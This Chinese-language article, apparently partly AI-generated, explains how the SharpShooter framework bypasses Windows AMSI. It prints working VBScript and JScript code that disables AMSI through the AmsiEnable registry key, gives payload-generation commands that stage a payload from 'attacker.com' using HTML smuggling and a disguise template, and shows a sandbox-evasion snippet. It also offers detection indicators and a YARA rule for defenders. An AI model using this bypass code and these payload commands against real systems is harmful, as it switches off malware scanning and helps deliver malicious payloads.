SharpShooter AMSI绕过技术深度解析如何有效规避Windows防御机制【免费下载链接】SharpShooterPayload Generation Framework项目地址: https://gitcode.com/gh_mirrors/sh/SharpShooterSharpShooter作为一款强大的Payload生成框架其内置的AMSI绕过技术为安全研究人员和渗透测试人员提供了绕过Windows反恶意软件扫描接口的有效方法。本文将深入解析SharpShooter如何实现AMSI绕过帮助您理解Windows防御机制的工作原理以及如何在实际测试中应用这些技术。 AMSI技术概述与工作原理AMSIAntimalware Scan Interface是微软在Windows 10和Windows Server 2016中引入的安全机制旨在为应用程序提供标准接口来与反恶意软件产品通信。AMSI主要监控脚本执行包括PowerShell脚本VBScript/JScriptOffice宏.NET程序集当这些脚本运行时AMSI会拦截执行请求并将其发送给已注册的反恶意软件引擎进行扫描。如果检测到恶意内容执行将被阻止。️ SharpShooter的AMSI绕过策略SharpShooter通过modules/amsikiller.py模块实现了巧妙的AMSI绕过技术。其核心思路是临时修改注册表设置来禁用AMSI检测 注册表操作原理# 关键注册表路径 regpath HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnableAMSI绕过过程分为三个步骤检测当前AMSI状态读取注册表键值临时禁用AMSI将值设置为0重新启用AMSI执行完成后恢复原值 技术实现细节SharpShooter为不同脚本类型提供了相应的绕过代码VBScript实现(templates/harness.vbs)regpath HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable Set oWSS GetObject(new:72C24DD5-D70A-438B-8A42-98424B88AFB8) On Error Resume Next r oWSS.RegRead(regpath) If Err.Number 0 Then oWSS.RegWrite regpath, 0, REG_DWORD 执行脚本... oWSS.RegWrite regpath, 1, REG_DWORD End IfJavaScript实现(templates/harness.js)var sh new ActiveXObject(WScript.Shell); var key HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable; try{ var AmsiEnable sh.RegRead(key); if(AmsiEnable!0){ throw new Error(1, ); } }catch(e){ sh.RegWrite(key, 0, REG_DWORD); //执行脚本... sh.RegWrite(key, 1, REG_DWORD); } 实战应用使用SharpShooter生成带AMSI绕过的Payload基本命令格式python SharpShooter.py --payload vbs --amsi amsienable --output malicious --delivery web --web http://attacker.com/payload完整示例生成HTA文件python SharpShooter.py --stageless --dotnetver 4 --payload hta --output test --rawscfile ./shellcode.bin --sandbox 1CONTOSO --amsi amsienable --smuggle --template mcafee参数说明--amsi amsienable启用AMSI绕过功能--sandbox 1CONTOSO添加域环境检测--smuggle使用HTML走私技术--template mcafee使用McAfee扫描模板伪装️ 支持的Payload类型SharpShooter支持多种脚本格式的AMSI绕过脚本类型文件扩展名AMSI绕过支持HTA文件.hta✅JavaScript.js✅VBScript.vbs✅WSF文件.wsf✅VBA宏.vba✅JScript.jse✅ AMSI绕过的局限性与应对策略已知限制用户权限要求需要当前用户有写入注册表的权限进程隔离只影响当前进程的AMSI状态持久性绕过是临时的脚本执行后恢复检测风险部分安全产品会监控注册表修改行为增强绕过效果结合SharpShooter的其他功能可以增强绕过效果1. 沙箱检测集成(CSharpShooter/CheckPlease.cs)// 检测虚拟机环境 if (containsSandboxArtifacts()) Environment.Exit(1); // 检测调试器 if (isDebugged()) Environment.Exit(1);2. 多阶段交付使用Web或DNS分阶段加载Payload结合RC4加密增强隐蔽性利用HTML走私技术绕过网络检测 防御视角如何检测AMSI绕过从防御角度安全团队可以关注以下指标监控点注册表修改监控HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable的写入操作脚本行为检测短时间内AMSI状态的频繁切换进程行为监控脚本引擎的异常调用模式检测规则示例rule AMSI_Bypass_Registry_Modification { meta: description 检测AMSI注册表绕过尝试 severity high strings: $regpath Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable $regwrite RegWrite $amsi_disable 0 ascii condition: any of them } 技术对比SharpShooter与其他AMSI绕过方法方法原理持久性检测难度SharpShooter注册表法修改AMSI启用状态临时中等内存Patch法修改AMSI DLL内存进程级高反射加载法绕过AMSI扫描接口临时高混淆编码法混淆脚本内容永久低 学习资源与最佳实践推荐学习路径理解AMSI机制阅读微软官方文档实践SharpShooter在隔离环境中测试分析绕过技术研究modules/amsikiller.py源码编写检测规则基于行为特征创建检测安全使用建议✅合法授权仅在授权测试中使用 ✅隔离环境在虚拟机或专用测试环境中运行 ✅记录操作详细记录所有测试步骤 ✅及时清理测试完成后清除所有Payload 总结与展望SharpShooter的AMSI绕过技术展示了注册表操作在绕过Windows安全机制中的有效性。通过临时修改AmsiEnable注册表键值攻击者可以在脚本执行期间短暂禁用AMSI检测为Payload执行创造机会窗口。未来发展趋势更隐蔽的绕过技术无文件、内存驻留技术多阶段混淆结合多种混淆技术AI对抗使用机器学习生成难以检测的Payload通过深入理解SharpShooter的AMSI绕过实现安全研究人员可以更好地评估Windows防御机制的强度开发更有效的检测方法同时红队人员可以在授权测试中更有效地评估目标环境的安全性。重要提示本文内容仅供教育和技术研究目的。在实际环境中使用这些技术必须获得明确授权并遵守相关法律法规。【免费下载链接】SharpShooterPayload Generation Framework项目地址: https://gitcode.com/gh_mirrors/sh/SharpShooter创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考